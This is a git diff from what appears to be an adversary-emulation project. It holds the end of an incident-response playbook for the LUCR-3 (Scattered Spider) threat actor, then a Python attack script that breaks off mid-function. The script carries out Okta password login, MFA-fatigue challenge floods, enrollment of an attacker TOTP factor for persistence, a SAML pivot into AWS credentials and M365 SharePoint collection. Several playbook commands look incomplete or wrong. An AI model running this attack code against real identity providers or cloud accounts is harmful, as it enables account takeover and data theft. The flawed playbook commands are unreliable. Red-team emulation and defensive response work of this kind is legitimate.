Block the attacker's source IP (add to Okta Network Zone blocklist) +curl -X POST -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + -H "Content-Type: application/json" \ + "https://${OKTA_DOMAIN}/api/v1/zones" \ + -d '{ + "type": "IP", + "name": "LUCR3-BlockedIPs", + "gateways": [{"type": "CIDR", "value": "/32"}], + "status": "ACTIVE" + }' + +# 5. Set global session policy to require re-authentication (reduce session lifetime to 0) +# Do this in Okta Admin console: Security > Global Session Policy > set max session to 15 min +``` + +#### AWS — Revoke All Attacker Access + +```bash +# 1. Immediately disable the attacker IAM user +aws iam update-login-profile \ + --user-name lucr3-attacker-iam-user \ + --password-reset-required || true + +aws iam update-user \ + --user-name lucr3-attacker-iam-user \ + --no-path # flag to note but actual disable is via access key + +# 2. Delete all access keys for attacker IAM user +for key_id in $(aws iam list-access-keys --user-name lucr3-attacker-iam-user \ + --query 'AccessKeyMetadata[*].AccessKeyId' --output text); do + aws iam delete-access-key \ + --user-name lucr3-attacker-iam-user \ + --access-key-id "${key_id}" + echo "Deleted key: ${key_id}" +done + +# 3. Detach all policies from attacker IAM user +for policy_arn in $(aws iam list-attached-user-policies --user-name lucr3-attacker-iam-user \ + --query 'AttachedPolicies[*].PolicyArn' --output text); do + aws iam detach-user-policy \ + --user-name lucr3-attacker-iam-user \ + --policy-arn "${policy_arn}" + echo "Detached: ${policy_arn}" +done + +# 4. Revoke the federated role session (invalidate all SAML-derived sessions) +# AWS does not directly revoke active STS sessions, but you can update the role trust policy +# to block further AssumeRoleWithSAML calls and add a deny condition +FEDERATED_ROLE_NAME="lucr3-privileged-federated-role" +aws iam put-role-policy \ + --role-name "${FEDERATED_ROLE_NAME}" \ + --policy-name "EmergencyDeny-LUCR3-Incident" \ + --policy-document '{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*", + "Condition": { + "DateLessThan": { + "aws:TokenIssueTime": "'"$(date -u '+%Y-%m-%dT%H:%M:%SZ')"'" + } + } + }] + }' + +# 5. Re-enable GuardDuty if disabled +DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) +aws guardduty update-detector \ + --detector-id "${DETECTOR_ID}" \ + --enable + +# 6. Re-enable CloudTrail if stopped +TRAIL_ARN=$(aws cloudtrail list-trails --query 'Trails[0].TrailARN' --output text) +aws cloudtrail start-logging --name "${TRAIL_ARN}" + +# 7. Isolate attacker-launched EC2 instance (apply quarantine security group) +# First find the attacker EC2 instance ID +ATTACKER_INSTANCE_ID=$(aws ec2 describe-instances \ + --filters "Name=tag:Name,Values=*lucr3-attacker*" \ + --query 'Reservations[0].Instances[0].InstanceId' --output text) + +# Create quarantine security group (no ingress/egress) +QSG_ID=$(aws ec2 create-security-group \ + --group-name "QUARANTINE-LUCR3-Incident" \ + --description "QUARANTINE - LUCR3 IR - blocks all traffic" \ + --vpc-id $(aws ec2 describe-instances --instance-ids "${ATTACKER_INSTANCE_ID}" \ + --query 'Reservations[0].Instances[0].VpcId' --output text) \ + --query 'GroupId' --output text) + +# Remove all default egress +aws ec2 revoke-security-group-egress \ + --group-id "${QSG_ID}" \ + --protocol all --port -1 --cidr 0.0.0.0/0 + +# Apply quarantine SG to attacker instance +aws ec2 modify-instance-attribute \ + --instance-id "${ATTACKER_INSTANCE_ID}" \ + --groups "${QSG_ID}" + +echo "Attacker instance ${ATTACKER_INSTANCE_ID} quarantined" + +# 8. Terminate attacker EC2 instance (after forensic snapshot if required) +# Take EBS snapshot first for forensics +VOLUME_ID=$(aws ec2 describe-instances \ + --instance-ids "${ATTACKER_INSTANCE_ID}" \ + --query 'Reservations[0].Instances[0].BlockDeviceMappings[0].Ebs.VolumeId' --output text) +aws ec2 create-snapshot --volume-id "${VOLUME_ID}" --description "LUCR3-IR-Forensic-Snapshot" + +# Then terminate +aws ec2 terminate-instances --instance-ids "${ATTACKER_INSTANCE_ID}" +``` + +#### M365 — Revoke Federated Session + +```bash +# Revoke all refresh tokens for compromised user (requires Azure AD Global Admin) +az ad user update --id "victim@company.com" --account-enabled false + +# Revoke all sessions via Microsoft Graph +curl -X POST -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + "https://graph.microsoft.com/v1.0/users/victim@company.com/revokeSignInSessions" + +# Force sign-out of all active sessions +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/users/victim@company.com/invalidateAllRefreshTokens" +``` + +#### GitHub — Revoke Stolen PAT + +```bash +# Revoke the stolen PAT (requires org owner token) +# Get token ID from audit log investigation +gh api \ + -X DELETE \ + -H "Accept: application/vnd.github+json" \ + "/orgs/${ORG_NAME}/personal-access-tokens/${TOKEN_ID}" + +# If token owner is known, revoke via user endpoint +gh api \ + -X DELETE \ + -H "Accept: application/vnd.github+json" \ + "/applications/${CLIENT_ID}/token" \ + -f access_token="${STOLEN_PAT}" +``` + +--- + +## 4. Eradication + +### Remove All Attacker Persistence + +#### Okta — Remove Attacker Device, Reset Victim + +```bash +# 1. Reset victim's MFA — force re-enrollment with verified identity +curl -X POST -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + -H "Content-Type: application/json" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/lifecycle/reset_factors" + +# 2. Force password reset on victim account +curl -X POST -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + -H "Content-Type: application/json" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/lifecycle/expire_password?tempPassword=false" + +# 3. Reactivate user after verified re-enrollment +curl -X POST -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + -H "Content-Type: application/json" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/lifecycle/unsuspend" + +# 4. Audit ALL users for anomalous factor enrollments in the incident window +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/logs?filter=eventType+eq+\"user.mfa.factor.activate\"&since=&until=&limit=200" \ + | jq '.[] | {user: .actor.alternateId, ip: .client.ipAddress, factor: .target[0].displayName, time: .published}' + +# 5. Delete any other attacker-enrolled factors found in above audit +curl -X DELETE -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${OTHER_AFFECTED_USER_ID}/factors/${ATTACKER_FACTOR_ID}" +``` + +#### AWS — Delete Backdoor User and Clean Up + +```bash +# 1. Delete attacker IAM user's login profile +aws iam delete-login-profile --user-name lucr3-attacker-iam-user 2>/dev/null || true + +# 2. Remove inline policies +for policy_name in $(aws iam list-user-policies --user-name lucr3-attacker-iam-user \ + --query 'PolicyNames[]' --output text); do + aws iam delete-user-policy \ + --user-name lucr3-attacker-iam-user \ + --policy-name "${policy_name}" +done + +# 3. Remove from any groups +for group in $(aws iam list-groups-for-user --user-name lucr3-attacker-iam-user \ + --query 'Groups[*].GroupName' --output text); do + aws iam remove-user-from-group \ + --user-name lucr3-attacker-iam-user \ + --group-name "${group}" +done + +# 4. Delete the attacker IAM user +aws iam delete-user --user-name lucr3-attacker-iam-user + +# 5. Remove the emergency deny inline policy from federated role (added in containment) +aws iam delete-role-policy \ + --role-name "${FEDERATED_ROLE_NAME}" \ + --policy-name "EmergencyDeny-LUCR3-Incident" + +# 6. Rotate all SecretsManager secrets that were accessed +# List all secrets that were GetSecretValue'd during the incident +for secret_id in lucr3-secrets-prod-db lucr3-bait-honey-credentials lucr3-bait-github-pat-secret; do + aws secretsmanager rotate-secret --secret-id "${secret_id}" + echo "Rotated: ${secret_id}" +done + +# 7. Terminate all attacker-launched EC2 instances (if not done in containment) +aws ec2 describe-instances \ + --filters "Name=instance-state-name,Values=running,stopped" \ + --query 'Reservations[*].Instances[?LaunchTime>=`'"${INCIDENT_START}"'`].{ID:InstanceId,Launch:LaunchTime,Role:IamInstanceProfile.Arn}' \ + --output table + +# 8. Audit and remove any IAM instance profiles created by attacker +for profile in $(aws iam list-instance-profiles \ + --query 'InstanceProfiles[?CreateDate>=`'"${INCIDENT_START}"'`].InstanceProfileName' \ + --output text); do + aws iam delete-instance-profile --instance-profile-name "${profile}" +done + +# 9. Rotate victim's IAM credentials if they have programmatic access +aws iam list-access-keys --user-name "${VICTIM_IAM_USER}" \ + --query 'AccessKeyMetadata[*].AccessKeyId' --output text | \ + xargs -I{} aws iam delete-access-key --user-name "${VICTIM_IAM_USER}" --access-key-id {} + +aws iam create-access-key --user-name "${VICTIM_IAM_USER}" +``` + +#### M365 — Restore Mailbox and Revoke Access + +```bash +# Recover hard-deleted emails (admin purge recovery — 14-day window) +# Requires Compliance Center PowerShell: New-ComplianceSearchAction -Purge -PurgeType SoftDelete + +# Via Graph API — restore soft-deleted items +curl -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -X POST \ + "https://graph.microsoft.com/v1.0/users/victim@company.com/mailFolders/recoverableitemsdeleted/messages//move" \ + -H "Content-Type: application/json" \ + -d '{"destinationId": "inbox"}' + +# Re-enable the user account +az ad user update --id "victim@company.com" --account-enabled true + +# Require MFA re-registration via Conditional Access +az rest --method POST \ + --url "https://graph.microsoft.com/v1.0/users/victim@company.com/authentication/methods/28c10230-6103-485e-b985-444c60001490/resetPassword" \ + --body '{}' +``` + +#### GitHub — Rotate Compromised Credentials + +```bash +# Generate replacement PAT with minimum required scopes (fine-grained) +gh auth token # verify current auth + +# Notify repository owners to rotate any secrets that may have been in cloned repos +# Run secret scanning on repositories that were accessed +gh api \ + -H "Accept: application/vnd.github+json" \ + "/repos/${ORG_NAME}/${REPO_NAME}/secret-scanning/alerts?state=open" \ + | jq '.[] | {id: .number, secret_type: .secret_type, state: .state, created: .created_at}' +``` + +--- + +## 5. Recovery + +### Restore Clean State + +#### Re-enable Security Services + +```bash +# 1. Verify GuardDuty is re-enabled and findings are flowing +DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) +aws guardduty get-detector --detector-id "${DETECTOR_ID}" \ + --query '{Status:Status,FindingPublishingFrequency:FindingPublishingFrequency}' \ + --output table + +# 2. Verify CloudTrail is logging +aws cloudtrail get-trail-status --name "${TRAIL_ARN}" \ + --query '{IsLogging:IsLogging,LatestDeliveryTime:LatestDeliveryTime,LatestNotificationTime:LatestNotificationTime}' \ + --output table + +# 3. Verify Security Hub is active +aws securityhub describe-hub --query '{HubArn:HubArn,SubscribedAt:SubscribedAt,AutoEnableControls:AutoEnableControls}' + +# 4. Enable GuardDuty features if not already on (S3, Malware Protection, Runtime Monitoring) +aws guardduty update-detector \ + --detector-id "${DETECTOR_ID}" \ + --enable \ + --data-sources '{"S3Logs":{"Enable":true},"Kubernetes":{"AuditLogs":{"Enable":true}},"MalwareProtection":{"ScanEc2InstanceWithFindings":{"EbsVolumes":{"Enable":true}}}}' + +# 5. Run an IAM Access Analyzer scan to find any remaining unexpected access +aws accessanalyzer list-analyzers --output table +ANALYZER_ARN=$(aws accessanalyzer list-analyzers --query 'analyzers[0].arn' --output text) +aws accessanalyzer start-resource-scan --analyzer-arn "${ANALYZER_ARN}" \ + --resource-arn "arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):root" + +# 6. Check for any remaining active EC2 instances not in approved AMI catalog +aws ec2 describe-instances \ + --filters "Name=instance-state-name,Values=running" \ + --query 'Reservations[*].Instances[*].{ID:InstanceId,AMI:ImageId,Launch:LaunchTime,IamRole:IamInstanceProfile.Arn,Tags:Tags}' \ + --output table + +# 7. Verify no remaining backdoor IAM users +aws iam list-users \ + --query 'Users[?CreateDate>=`'"${INCIDENT_START}"'`].{User:UserName,Created:CreateDate}' \ + --output table + +# 8. Re-rotate S3 KMS keys used for corporate data buckets if key was exposed +aws kms schedule-key-deletion --key-id "${COMPROMISED_KMS_KEY_ID}" --pending-window-in-days 7 +aws kms create-key --description "LUCR3-IR-Replacement-Key-$(date +%Y%m%d)" +``` + +#### Okta — Harden Post-Incident + +```bash +# 1. Verify Okta ThreatInsight is in Log and Enforce mode +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/threats/configuration" \ + | jq '.action' +# Should return "BLOCK" not "AUDIT" + +# 2. Update Okta enrollment policy to require FIDO2 for all new factor enrollments +# (Do via Admin console: Security > Authenticators > Enrollment > require phishing-resistant) + +# 3. Verify SMS/voice call OTP is disabled or restricted to fallback only +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/authenticators" \ + | jq '.[] | {key: .key, name: .name, status: .status}' + +# 4. Confirm victim user's new factors are enrolled correctly +curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \ + "https://${OKTA_DOMAIN}/api/v1/users/${VICTIM_USER_ID}/factors" \ + | jq '.[] | {type: .factorType, provider: .provider, status: .status, enrolled: .lastUpdated}' +``` + +#### Verify No Persistence Mechanisms Remain + +```bash +# Final sweep — check for any unexpected trust relationships in IAM roles +aws iam list-roles \ + --query 'Roles[*].{Role:RoleName,Trust:AssumeRolePolicyDocument}' \ + --output json | python3 -c " +import sys, json +roles = json.load(sys.stdin) +for r in roles: + trust = r['Trust'] + if isinstance(trust, str): + trust = json.loads(trust) + stmts = trust.get('Statement', []) + for s in stmts: + principal = s.get('Principal', {}) + if 'Federated' in str(principal) or 'arn:aws:iam' in str(principal): + print(f\"Role: {r['Role']}, Principal: {principal}\") +" + +# Check for any lingering SSM sessions +aws ssm describe-sessions --state Active --output table + +# Verify all attacker-created SGs are deleted +aws ec2 describe-security-groups \ + --filters "Name=group-name,Values=*LUCR3*,*attacker*" \ + --query 'SecurityGroups[*].{ID:GroupId,Name:GroupName,Description:Description}' \ + --output table + +# Run AWS Trusted Advisor security check +aws support describe-trusted-advisor-checks --language en \ + --query 'checks[?category==`security`].{id:id,name:name}' \ + --output table +``` + +--- + +## 6. Lessons Learned + +### Post-Incident Review Agenda (within 5 business days) + +1. **Timeline reconstruction** — Build minute-by-minute timeline from Okta logs, CloudTrail, S3 server access logs, and M365 UAL. Identify the detection gap between `StopLogging` (Step 17) and S3 exfiltration (Step 21). + +2. **Detection gaps identified** + + | Gap | Root Cause | Guardrail | + |-----|-----------|-----------| + | MFA fatigue not alerted in time | SMS MFA allowed; no policy blocking rapid re-challenge | Enforce FIDO2/WebAuthn; block SMS MFA for privileged users | + | Attacker device enrollment went unnoticed | No real-time alert on `user.mfa.factor.activate` from new geolocation | Wire Okta event to PagerDuty via SIEM rule | + | GuardDuty disabled before exfil | SCP not in place on OU to block `guardduty:UpdateDetector --no-enable` | Add SCP blocking GD disable from non-breakglass principals | + | CloudTrail stopped successfully | SCP not blocking `cloudtrail:StopLogging`; trail not protected | Enable CloudTrail log file integrity validation; SCP block StopLogging | + | S3 exfil only detected via server access logs | GuardDuty was disabled; no redundant alert | Ensure S3 server access logs stream to SIEM independently of CloudTrail | + | Canary secret triggered but delayed response | Alert was email-only, not paged | Wire canary access to PagerDuty/on-call immediately | + | Mailbox deletion reduced forensic evidence | MCAS policy existed but alert was low-priority | Elevate MCAS `MassMailboxDelete` policy to High; require IR team acknowledgment | + +3. **What worked** + + - S3 server access logs were independent of CloudTrail — captured exfil even after logging stopped + - Canary/bait secrets in SecretsManager provided immediate high-fidelity detection + - GuardDuty findings prior to disablement provided early warning of discovery phase + - SAML-to-AWS pivot was visible in CloudTrail as `AssumeRoleWithSAML` + +4. **Recommended guardrails to implement** + + ```bash + # SCP: Block GuardDuty and CloudTrail tampering from non-breakglass OUs + # Add to SCP JSON: + cat <<'EOF' + { + "Effect": "Deny", + "Action": [ + "guardduty:DeleteDetector", + "guardduty:DisassociateFromMasterAccount", + "cloudtrail:StopLogging", + "cloudtrail:DeleteTrail", + "cloudtrail:UpdateTrail" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/BreakglassRole" + } + } + } + EOF + + # EventBridge rule: alert on CloudTrail StopLogging within 60 seconds + aws events put-rule \ + --name "LUCR3-Guardrail-StopLogging" \ + --event-pattern '{"source":["aws.cloudtrail"],"detail-type":["AWS API Call via CloudTrail"],"detail":{"eventName":["StopLogging"]}}' \ + --state ENABLED \ + --description "Alert when CloudTrail logging is stopped" + + # Okta: SIEM rule for MFA fatigue + # Alert: >3 user.authentication.auth_via_mfa events from same source IP within 5 minutes + # Action: Auto-suspend user, page on-call + + # Okta: SIEM rule for anomalous factor enrollment + # Alert: user.mfa.factor.activate from IP not in corporate network zone + # Action: Immediate page, auto-suspend pending verification + ``` + +5. **Identity hygiene improvements** + - Require phishing-resistant MFA (FIDO2) for ALL Okta users — eliminate SMS/TOTP for privileged access + - Implement Okta Privileged Access Management (PAM) for admin-level Okta actions + - Enforce helpdesk re-verification via video call + manager confirmation for any MFA reset + - Quarterly review of SAML-federated role trust policies; remove stale IdP mappings + - Set AWS STS `MaxSessionDuration` on SAML-federated roles to 1 hour maximum + - Enable AWS IAM Identity Center instead of direct SAML federation for better session control + +6. **Data protection improvements** + - Enable Amazon Macie on all S3 buckets to classify sensitive data and alert on anomalous access + - Apply S3 Object Lock (WORM) on all buckets containing terraform state, credentials, or engineering artifacts + - Enforce VPC endpoints for S3 access; restrict bucket policy to deny non-VPC access for sensitive buckets + - Deploy GitHub secret scanning push protection to prevent secrets being committed to repos + +--- + +*Playbook Version: 1.0 | Threat Actor: LUCR-3 (Scattered Spider) | Last Updated: 2026-05-16* +*SANS PICERL Framework | MITRE ATT&CK Coverage: 21 techniques across 8 tactics* \ No newline at end of file diff --git a/emulations/lucr_3/__init__.py b/emulations/lucr_3/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/lucr_3/attack.py b/emulations/lucr_3/attack.py new file mode 100644 index 0000000..39a101e --- /dev/null +++ b/emulations/lucr_3/attack.py @@ -0,0 +1,1668 @@ +# FILE: attack.py +""" +LUCR-3 (Scattered Spider) -- Automated Post-Exploitation Attack Script +Executes a 10-phase, 22-step attack chain matching the approved attack plan. + +Credential chain: + phase1_okta_creds -> Okta username/password (env) + phase3_okta_session -> Okta session cookie (Step 2 MFA approval) + phase3_aws_saml_session -> STS temp creds via AssumeRoleWithSAML (Step 5) + phase8_attacker_iam_key -> Long-lived IAM key on backdoor user (Step 12) + phase9_scraped_github_pat-> GitHub PAT from SecretsManager (Step 13) + +MayaTrail backend entry point: run(outputs: dict, region: str) +""" + +import sys + +# Cross-platform UTF-8 output -- prevents UnicodeEncodeError on Windows CP1252 terminals +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +import os +import time +import random +import json + +# ── Resource name resolution ───────────────────────────────────────────────── +# Static resource names not present in Pulumi exports (e.g. secret paths). +# Populated via run() if needed; defaults cover all known LUCR-3 secret paths. +_R: dict = {} + + +def _r(key, env_var=None, default=""): + """Return static resource name from _R dict, with env var fallback.""" + return _R.get(key) or (os.environ.get(env_var, default) if env_var else default) +# ───────────────────────────────────────────────────────────────────────────── +import base64 +import subprocess +import re +import shutil + +import boto3 +import requests +from botocore.exceptions import ClientError + +try: + import pyotp + PYOTP_AVAILABLE = True +except ImportError: + PYOTP_AVAILABLE = False + +try: + from bs4 import BeautifulSoup + BS4_AVAILABLE = True +except ImportError: + BS4_AVAILABLE = False + + +# ============================================================ +# HELPERS +# ============================================================ + +def print_step(msg): + print(f"\n[*] {msg}") + +def print_ok(msg): + print(f"[+] {msg}") + +def print_err(msg): + print(f"[-] {msg}") + +def print_info(msg): + print(f" {msg}") + +def op_delay(min_s=2, max_s=6): + time.sleep(random.uniform(min_s, max_s)) + +def phase_delay(): + d = random.uniform(5, 15) + print_info(f"Phase delay: {d:.1f}s") + time.sleep(d) + + +def make_aws_session(access_key_id, secret_access_key, session_token=None, region="us-east-1"): + kwargs = dict( + aws_access_key_id=access_key_id, + aws_secret_access_key=secret_access_key, + region_name=region, + ) + if session_token: + kwargs["aws_session_token"] = session_token + return boto3.Session(**kwargs) + + +def extract_saml_response(html): + """Pull SAMLResponse value from an HTML form post page.""" + if BS4_AVAILABLE: + soup = BeautifulSoup(html, "html.parser") + inp = soup.find("input", {"name": "SAMLResponse"}) + if inp: + return inp.get("value", "") + # Regex fallback + for pat in [ + r'name="SAMLResponse"\s+value="([^"]+)"', + r'value="([^"]+)"\s+name="SAMLResponse"', + ]: + m = re.search(pat, html) + if m: + return m.group(1) + return "" + + +# ============================================================ +# PHASE 1 -- Initial IDP Compromise +# ============================================================ + +def phase1_okta_authn(okta_domain, username, password): + """ + Step 1 - T1078.004: POST to /api/v1/authn with victim credentials. + Returns (state_token, factor_id) for the MFA phase. + """ + print_step("PHASE 1 / Step 1 - T1078.004: Okta primary authentication") + print_info(f"Domain: {okta_domain} User: {username}") + print_info("Tradecraft: credential sourced from deepweb marketplace or smishing harvest") + + url = f"https://{okta_domain}/api/v1/authn" + hdrs = {"Content-Type": "application/json", "Accept": "application/json"} + + try: + resp = requests.post(url, json={"username": username, "password": password}, + headers=hdrs, timeout=30) + data = resp.json() + status = data.get("status", "") + print_ok(f"Okta authn status: {status}") + + if status == "MFA_REQUIRED": + state_token = data.get("stateToken", "") + factors = data.get("_embedded", {}).get("factors", []) + for f in factors: + print_info(f" Factor: {f.get('factorType')} / {f.get('provider')} / id={f.get('id')}") + + # Prefer SMS; fall back to first available + factor_id = None + for f in factors: + if f.get("factorType") == "sms": + factor_id = f.get("id") + break + if not factor_id and factors: + factor_id = factors[0].get("id") + + print_ok(f"stateToken: {state_token[:20]}... factorId: {factor_id}") + return state_token, factor_id + + elif status == "SUCCESS": + # No MFA required -- direct session token + session_token = data.get("sessionToken", "") + print_ok(f"Direct sessionToken (no MFA): {session_token[:20]}...") + return "DIRECT", session_token + + else: + print_err(f"Unexpected authn status: {status}") + return None, None + + except Exception as e: + print_err(f"Okta authn failed: {e}") + return None, None + + +def phase1_mfa_fatigue_and_intercept(okta_domain, state_token, factor_id, attempts=3): + """ + Step 2 - T1621: Trigger 3 repeated MFA SMS challenges (fatigue). + Step 3 - T1111: DOCUMENTED ONLY -- SIM swap / helpdesk reset. + Returns sessionToken after lab operator approves on enrolled device. + """ + print_step("PHASE 1 / Step 2 - T1621: MFA fatigue -- repeated challenge flood") + print_info("Tradecraft: flood victim device until accidental approval") + print_info("Emulation: lab operator holds enrolled test device and approves") + + url = f"https://{okta_domain}/api/v1/authn/factors/{factor_id}/verify" + hdrs = {"Content-Type": "application/json", "Accept": "application/json"} + body = {"stateToken": state_token} + + for i in range(attempts): + print_info(f"MFA challenge {i+1}/{attempts}") + try: + resp = requests.post(url, json=body, headers=hdrs, timeout=30) + status = resp.json().get("status", "") + print_info(f" Response status: {status}") + except Exception as e: + print_err(f"MFA challenge {i+1} error: {e}") + op_delay(10, 30) + + # ------------------------------------------------------------------ + # Step 3 - T1111: Multi-Factor Authentication Interception + # DOCUMENTED ONLY -- NOT IMPLEMENTED IN ATTACK SCRIPT + # ------------------------------------------------------------------ + print_step("PHASE 1 / Step 3 - T1111: MFA Interception [DOCUMENTED ONLY - NO CODE]") + print_info("=" * 60) + print_info("TECHNIQUE: T1111 - Multi-Factor Authentication Interception") + print_info("REAL LUCR-3 ACTION:") + print_info(" Option A: SIM swap -- calls victim carrier, impersonates victim,") + print_info(" ports phone number to attacker SIM. All SMS OTPs delivered to attacker.") + print_info(" Option B: Helpdesk reset -- calls Okta/IT helpdesk claiming lost device,") + print_info(" social engineers MFA reset, then re-enrolls attacker device.") + print_info("EXPECTED OUTCOME: sessionToken from Okta after OTP successfully intercepted.") + print_info("EMULATION NOTE: Lab operator manually approves MFA on enrolled test device.") + print_info(" SIM swapping is illegal telecom fraud -- not implemented per safety rules.") + print_info("=" * 60) + + print_step("ACTION REQUIRED: Approve the MFA challenge on the enrolled test device.") + print_info("Press ENTER after approving to continue...") + try: + input() + except EOFError: + pass # Non-interactive mode + + # Poll for sessionToken after operator approval + try: + resp = requests.post(url, json=body, headers=hdrs, timeout=30) + data = resp.json() + if data.get("status") == "SUCCESS": + session_token = data.get("sessionToken", "") + print_ok(f"sessionToken obtained: {session_token[:20]}...") + return session_token + else: + print_err(f"Post-approval status: {data.get('status')} -- trying stateToken field") + return data.get("sessionToken", "") + except Exception as e: + print_err(f"Post-approval poll failed: {e}") + return "" + + +# ============================================================ +# PHASE 2 -- IDP Persistence via Device Registration +# ============================================================ + +def phase2_enroll_attacker_device(okta_domain, session_token): + """ + Step 4 - T1098.005: Exchange sessionToken for session cookie; enroll attacker TOTP device. + Returns (session_id, user_id, enrolled_factor_id, totp_secret). + """ + print_step("PHASE 2 / Step 4 - T1098.005: Enroll attacker-controlled TOTP factor") + print_info("Tradecraft: attacker registers own authenticator -- survives victim password reset") + + hdrs = {"Content-Type": "application/json", "Accept": "application/json"} + + # 4.1: Exchange sessionToken for session cookie + print_info("4.1: POST /api/v1/sessions -- exchange sessionToken") + session_id = "" + try: + resp = requests.post( + f"https://{okta_domain}/api/v1/sessions", + json={"sessionToken": session_token}, + headers=hdrs, timeout=30 + ) + session_id = resp.json().get("id", "") + print_ok(f"Okta session id: {session_id[:20]}...") + except Exception as e: + print_err(f"Session exchange failed: {e}") + return None, None, None, None + + op_delay() + + okta_sess = requests.Session() + okta_sess.cookies.set("sid", session_id, domain=okta_domain) + okta_sess.headers.update(hdrs) + + # 4.2: Get victim userId + print_info("4.2: GET /api/v1/users/me") + user_id = "" + try: + resp = okta_sess.get(f"https://{okta_domain}/api/v1/users/me", timeout=30) + user_data = resp.json() + user_id = user_data.get("id", "") + login = user_data.get("profile", {}).get("login", "") + print_ok(f"userId: {user_id} login: {login}") + except Exception as e: + print_err(f"Get /users/me failed: {e}") + return session_id, None, None, None + + op_delay() + + # 4.3: Enroll TOTP factor + print_info("4.3: POST /api/v1/users/{userId}/factors -- enroll TOTP") + new_factor_id = "" + totp_secret = "" + try: + resp = okta_sess.post( + f"https://{okta_domain}/api/v1/users/{user_id}/factors", + json={"factorType": "token:software:totp", "provider": "GOOGLE"}, + timeout=30 + ) + fdata = resp.json() + new_factor_id = fdata.get("id", "") + totp_secret = ( + fdata.get("_embedded", {}).get("activation", {}).get("sharedSecret", "") + ) + print_ok(f"TOTP factor id: {new_factor_id}") + print_ok(f"TOTP shared secret: {totp_secret}") + except Exception as e: + print_err(f"Factor enrollment failed: {e}") + return session_id, user_id, None, None + + op_delay() + + # 4.4: Activate with TOTP code + if totp_secret and PYOTP_AVAILABLE: + totp_code = pyotp.TOTP(totp_secret).now() + print_info(f"4.4: Activating with TOTP code: {totp_code}") + try: + resp = okta_sess.post( + f"https://{okta_domain}/api/v1/users/{user_id}/factors/{new_factor_id}/lifecycle/activate", + json={"passCode": totp_code}, + timeout=30 + ) + print_ok(f"Factor activation status: {resp.json().get('status', resp.status_code)}") + except Exception as e: + print_err(f"Factor activation failed: {e}") + elif totp_secret: + print_err("pyotp not installed -- factor activation skipped (install: pip install pyotp)") + else: + print_err("No TOTP secret -- activation skipped") + + return session_id, user_id, new_factor_id, totp_secret + + +# ============================================================ +# PHASE 3 -- Cloud Pivot via SAML Federation +# ============================================================ + +def phase3_saml_pivot_aws(okta_domain, session_id, okta_aws_app_id, + federated_role_arn, saml_provider_arn): + """ + Step 5 - T1078.004: GET Okta SAML app embed URL, parse SAMLResponse, + call sts:AssumeRoleWithSAML. Returns (key_id, secret, token). + """ + print_step("PHASE 3 / Step 5 - T1078.004: SAML pivot from Okta IDP into AWS STS") + print_info(f"Role: {federated_role_arn}") + print_info(f"SAML provider: {saml_provider_arn}") + print_info("Tradecraft: federated trust abused to land in AWS with near-admin rights") + + okta_sess = requests.Session() + okta_sess.cookies.set("sid", session_id, domain=okta_domain) + + # 5.1: Fetch SAML SSO page + sso_url = f"https://{okta_domain}/app/amazon_aws/{okta_aws_app_id}/sso/saml" + print_info(f"5.1: GET {sso_url}") + try: + resp = okta_sess.get(sso_url, timeout=30, allow_redirects=True) + saml_b64 = extract_saml_response(resp.text) + if saml_b64: + print_ok(f"SAMLResponse extracted ({len(saml_b64)} chars)") + else: + print_err("SAMLResponse not found -- check okta_aws_app_id and session cookie") + return None, None, None + except Exception as e: + print_err(f"SAML SSO fetch failed: {e}") + return None, None, None + + op_delay() + + # 5.2: AssumeRoleWithSAML + print_info("5.2: sts:AssumeRoleWithSAML") + try: + sts = boto3.client("sts", region_name="us-east-1") + resp = sts.assume_role_with_saml( + RoleArn=federated_role_arn, + PrincipalArn=saml_provider_arn, + SAMLAssertion=saml_b64, + ) + c = resp["Credentials"] + print_ok(f"AWS creds obtained: KeyId={c['AccessKeyId']} Expires={c['Expiration']}") + return c["AccessKeyId"], c["SecretAccessKey"], c["SessionToken"] + except ClientError as e: + print_err(f"AssumeRoleWithSAML failed: {e}") + return None, None, None + + +# ============================================================ +# PHASE 4 -- SaaS Collection via Federated M365 +# ============================================================ + +def phase4_m365_sharepoint(okta_domain, session_id, okta_azuread_app_id, m365_tenant_id): + """ + Step 6 - T1213.002: Federate into Azure AD via SAML, enumerate/download SharePoint docs. + Returns graph_access_token for later mailbox cleanup. + """ + print_step("PHASE 4 / Step 6 - T1213.002: Federated M365 SharePoint collection") + print_info(f"AzureAD app: {okta_azuread_app_id} Tenant: {m365_tenant_id}") + print_info("Tradecraft: Okta -> AzureAD SAML federation -> Graph API for corporate IP theft") + + okta_sess = requests.Session() + okta_sess.cookies.set("sid", session_id, domain=okta_domain) + + # 6.1: Okta SAML assertion for AzureAD app + sso_url = f"https://{okta_domain}/app/office365/{okta_azuread_app_id}/sso/saml" + print_info(f"6.1: GET {sso_url}") + saml_b64 = "" + try: + resp = okta_sess.get(sso_url, timeout=30, allow_redirects=True) + saml_b64 = extract_saml_response(resp.text) + if saml_b64: + 